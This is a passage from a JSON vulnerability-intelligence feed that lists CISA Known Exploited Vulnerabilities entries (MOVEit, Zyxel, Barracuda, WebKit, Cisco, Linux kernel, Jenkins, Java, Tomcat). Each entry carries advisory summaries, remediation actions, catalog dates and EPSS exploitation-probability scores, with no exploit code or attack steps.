score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-33010&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-33010, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-34362","cveId":"CVE-2023-34362","aliases":[],"kind":"vulnerability","title":"Progress MOVEit Transfer SQL Injection Vulnerability","summary":"Progress MOVEit Transfer contains a SQL injection vulnerability that could allow an unauthenticated attacker to gain unauthorized access to MOVEit Transfer's database. Depending on the database engine being used (MySQL, Microsoft SQL Server, or Azure SQL), an attacker may be able to infer information about the structure and contents of the database in addition to executing SQL statements that alter or delete database elements.","detail":"CISA added this entry on 2023-06-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-06-02","updatedAt":null,"regions":["Global"],"vendor":"Progress","product":"MOVEit Transfer","stacks":["Progress (MOVEit, Telerik, WS_FTP)","Progress","MOVEit Transfer"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-06-02","dueAt":"2023-06-23","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99934,"percentile":0.9997,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-34362&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-34362","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-06-02","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-34362 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-34362&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-34362, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-28771","cveId":"CVE-2023-28771","aliases":[],"kind":"vulnerability","title":"Zyxel Multiple Firewalls OS Command Injection Vulnerability","summary":"Zyxel ATP, USG FLEX, VPN, and ZyWALL/USG firewalls allow for improper error message handling which could allow an unauthenticated attacker to execute OS commands remotely by sending crafted packets to an affected device.","detail":"CISA added this entry on 2023-05-31. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-05-31","updatedAt":null,"regions":["Global"],"vendor":"Zyxel","product":"Multiple Firewalls","stacks":["Zyxel","Multiple Firewalls"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-05-31","dueAt":"2023-06-21","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99284,"percentile":0.99937,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-28771&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-28771","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-05-31","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-28771 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-28771&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-28771, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-2868","cveId":"CVE-2023-2868","aliases":[],"kind":"vulnerability","title":"Barracuda Networks ESG Appliance Improper Input Validation Vulnerability","summary":"Barracuda Email Security Gateway (ESG) appliance contains an improper input validation vulnerability of a user-supplied .tar file, leading to remote command injection.","detail":"CISA added this entry on 2023-05-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-05-26","updatedAt":null,"regions":["Global"],"vendor":"Barracuda Networks","product":"Email Security Gateway (ESG) Appliance","stacks":["Barracuda Networks","Email Security Gateway (ESG) Appliance"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-05-26","dueAt":"2023-06-16","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.86841,"percentile":0.99743,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-2868&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-2868","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-05-26","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-2868 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-2868&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-2868, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-28204","cveId":"CVE-2023-28204","aliases":[],"kind":"vulnerability","title":"Apple Multiple Products WebKit Out-of-Bounds Read Vulnerability","summary":"Apple iOS, iPadOS, macOS, tvOS, watchOS, and Safari WebKit contain an out-of-bounds read vulnerability that may disclose sensitive information when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.","detail":"CISA added this entry on 2023-05-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-05-22","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"Multiple Products","stacks":["Safari and WebKit","Apple","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-05-22","dueAt":"2023-06-12","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.14292,"percentile":0.96576,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-28204&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-28204","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-05-22","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-28204 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-28204&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-28204, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-32373","cveId":"CVE-2023-32373","aliases":[],"kind":"vulnerability","title":"Apple Multiple Products WebKit Use-After-Free Vulnerability","summary":"Apple iOS, iPadOS, macOS, tvOS, watchOS, and Safari WebKit contain a use-after-free vulnerability that leads to code execution when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.","detail":"CISA added this entry on 2023-05-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-05-22","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"Multiple Products","stacks":["Safari and WebKit","Apple","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-05-22","dueAt":"2023-06-12","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.12172,"percentile":0.96129,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-32373&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-32373","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-05-22","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-32373 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-32373&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-32373, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-32409","cveId":"CVE-2023-32409","aliases":[],"kind":"vulnerability","title":"Apple Multiple Products WebKit Sandbox Escape Vulnerability","summary":"Apple iOS, iPadOS, macOS, tvOS, watchOS, and Safari WebKit contain an unspecified vulnerability that can allow a remote attacker to break out of the Web Content sandbox. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.","detail":"CISA added this entry on 2023-05-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-05-22","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"Multiple Products","stacks":["Safari and WebKit","Apple","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-05-22","dueAt":"2023-06-12","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.1653,"percentile":0.9698,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-32409&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-32409","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-05-22","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-32409 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-32409&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-32409, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2004-1464","cveId":"CVE-2004-1464","aliases":[],"kind":"vulnerability","title":"Cisco IOS Denial-of-Service Vulnerability","summary":"Cisco IOS contains an unspecified vulnerability that may block further telnet, reverse telnet, Remote Shell (RSH), Secure Shell (SSH), and in some cases, Hypertext Transport Protocol (HTTP) access to the Cisco device.","detail":"CISA added this entry on 2023-05-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-05-19","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"IOS","stacks":["Cisco","IOS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-05-19","dueAt":"2023-06-09","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.0484,"percentile":0.91943,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2004-1464&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2004-1464","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-05-19","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2004-1464 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2004-1464&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2004-1464, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-6415","cveId":"CVE-2016-6415","aliases":[],"kind":"vulnerability","title":"Cisco IOS, IOS XR, and IOS XE IKEv1 Information Disclosure Vulnerability","summary":"Cisco IOS, IOS XR, and IOS XE contain insufficient condition checks in the part of the code that handles Internet Key Exchange version 1 (IKEv1) security negotiation requests. contains an information disclosure vulnerability in the Internet Key Exchange version 1 (IKEv1) that could allow an attacker to retrieve memory contents. Successful exploitation could allow the attacker to retrieve memory contents, which can lead to information disclosure.","detail":"CISA added this entry on 2023-05-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-05-19","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"IOS, IOS XR, and IOS XE","stacks":["Cisco","IOS, IOS XR, and IOS XE"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-05-19","dueAt":"2023-06-09","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.87687,"percentile":0.99758,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-6415&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2016-6415","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-05-19","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2016-6415 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-6415&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2016-6415, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-21492","cveId":"CVE-2023-21492","aliases":[],"kind":"vulnerability","title":"Samsung Mobile Devices Insertion of Sensitive Information Into Log File Vulnerability","summary":"Samsung mobile devices running Android 11, 12, and 13 contain an insertion of sensitive information into log file vulnerability that allows a privileged, local attacker to conduct an address space layout randomization (ASLR) bypass.","detail":"CISA added this entry on 2023-05-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-05-19","updatedAt":null,"regions":["Global"],"vendor":"Samsung","product":"Mobile Devices","stacks":["Samsung mobile","Samsung","Mobile Devices"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-05-19","dueAt":"2023-06-09","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.02554,"percentile":0.8494,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-21492&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-21492","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-05-19","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-21492 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-21492&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-21492, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2010-3904","cveId":"CVE-2010-3904","aliases":[],"kind":"vulnerability","title":"Linux Kernel Improper Input Validation Vulnerability","summary":"Linux Kernel contains an improper input validation vulnerability in the Reliable Datagram Sockets (RDS) protocol implementation that allows local users to gain privileges via crafted use of the sendmsg and recvmsg system calls.","detail":"CISA added this entry on 2023-05-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted product is end-of-life and should be disconnected if still in use.","publishedAt":"2023-05-12","updatedAt":null,"regions":["Global"],"vendor":"Linux","product":"Kernel","stacks":["Linux kernel","Linux","Kernel"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-05-12","dueAt":"2023-06-02","action":"The impacted product is end-of-life and should be disconnected if still in use.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.15861,"percentile":0.96859,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2010-3904&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2010-3904","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-05-12","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2010-3904 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2010-3904&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2010-3904, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2014-0196","cveId":"CVE-2014-0196","aliases":[],"kind":"vulnerability","title":"Linux Kernel Race Condition Vulnerability","summary":"Linux Kernel contains a race condition vulnerability within the n_tty_write function that allows local users to cause a denial-of-service (DoS) or gain privileges via read and write operations with long strings.","detail":"CISA added this entry on 2023-05-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted product is end-of-life and should be disconnected if still in use.","publishedAt":"2023-05-12","updatedAt":null,"regions":["Global"],"vendor":"Linux","product":"Kernel","stacks":["Linux kernel","Linux","Kernel"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-05-12","dueAt":"2023-06-02","action":"The impacted product is end-of-life and should be disconnected if still in use.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.20329,"percentile":0.9746,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2014-0196&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2014-0196","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-05-12","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2014-0196 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2014-0196&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2014-0196, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2015-5317","cveId":"CVE-2015-5317","aliases":[],"kind":"vulnerability","title":"Jenkins User Interface (UI) Information Disclosure Vulnerability","summary":"Jenkins User Interface (UI) contains an information disclosure vulnerability that allows users to see the names of jobs and builds otherwise inaccessible to them on the \"Fingerprints\" pages.","detail":"CISA added this entry on 2023-05-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-05-12","updatedAt":null,"regions":["Global"],"vendor":"Jenkins","product":"Jenkins User Interface (UI)","stacks":["Jenkins","Jenkins User Interface (UI)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-05-12","dueAt":"2023-06-02","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.23003,"percentile":0.97736,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2015-5317&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2015-5317","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-05-12","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2015-5317 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2015-5317&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2015-5317, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-3427","cveId":"CVE-2016-3427","aliases":[],"kind":"vulnerability","title":"Oracle Java SE and JRockit Unspecified Vulnerability","summary":"Oracle Java SE and JRockit contains an unspecified vulnerability that allows remote attackers to affect confidentiality, integrity, and availability via vectors related to Java Management Extensions (JMX). This vulnerability can be exploited through sandboxed Java Web Start applications and sandboxed Java applets. It can also be exploited by supplying data to APIs in the specified component without using sandboxed Java Web Start applications or sandboxed Java applets, such as through a web service.","detail":"CISA added this entry on 2023-05-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-05-12","updatedAt":null,"regions":["Global"],"vendor":"Oracle","product":"Java SE and JRockit","stacks":["Oracle","Java","Java SE and JRockit"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-05-12","dueAt":"2023-06-02","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.92334,"percentile":0.99822,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-3427&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2016-3427","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-05-12","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2016-3427 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-3427&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2016-3427, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-8735","cveId":"CVE-2016-8735","aliases":[],"kind":"vulnerability","title":"Apache Tomcat Remote Code Execution Vulnerability","summary":"Apache Tomcat contains an unspecified vulnerability that allows for remote code execution if JmxRemoteLifecycleListener is used and an attacker can reach Java Management Extension (JMX) ports. This CVE exists because this listener wasn't updated for consistency with the Oracle patched issues for CVE-2016-3427 which affected credential types.","detail":"CISA added this entry on 2023-05-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-05-12","updatedAt":null,"regions":["Global"],"vendor":"Apache","product":"Tomcat","stacks":["Apache Tomcat","Apache","Tomcat"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-05-12","dueAt":"2023-06-02","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.90338,"percentile":0.99796,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-8735&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2016-8735","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-05-12","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2016-8735 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS 